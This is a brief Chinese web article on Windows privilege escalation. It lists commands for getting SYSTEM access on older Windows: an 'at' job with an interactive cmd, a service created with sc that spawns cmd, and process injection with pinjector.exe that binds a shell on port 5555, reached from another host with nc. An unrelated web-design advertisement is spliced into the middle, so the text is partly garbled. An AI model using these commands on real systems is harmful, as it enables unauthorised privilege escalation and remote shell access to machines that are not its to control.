• PsExec
• at
• Process_Injector

• sc

psexec

当前用户是jh

提权之后

创新互联坚持“要么做到，要么别承诺”的工作理念，服务领域包括：网站制作、网站建设、企业官网、英文网站、手机端网站、网站推广等服务，满足客户于互联网时代的古县网站设计、移动媒体设计的需求，帮助企业找到有效的互联网解决方案。努力成为您成熟可靠的网络建设合作伙伴！

---

*at命令提权（适用于xp，2003）

at 15:05 /interact cmd  

---

sc

创建服务(打开cmd命令窗口的服务)

    sc Create systemcmd binPath= "cmd /K start" type= own type= interact

启动服务刚才创建的服务

    sc start systemcmd

---

process_injector

列出当前的所有进程

pinjector.exe -l

选择要提权成的用户，进行进程注入

pinjector.exe -p 732 cmd 5555   #服务端实现进程注入
nc -nv 10.10.10.19 5555    # 客户端连接服务端

文章名称：windows提权
标题路径：http://cdweb.net/article/psccgi.html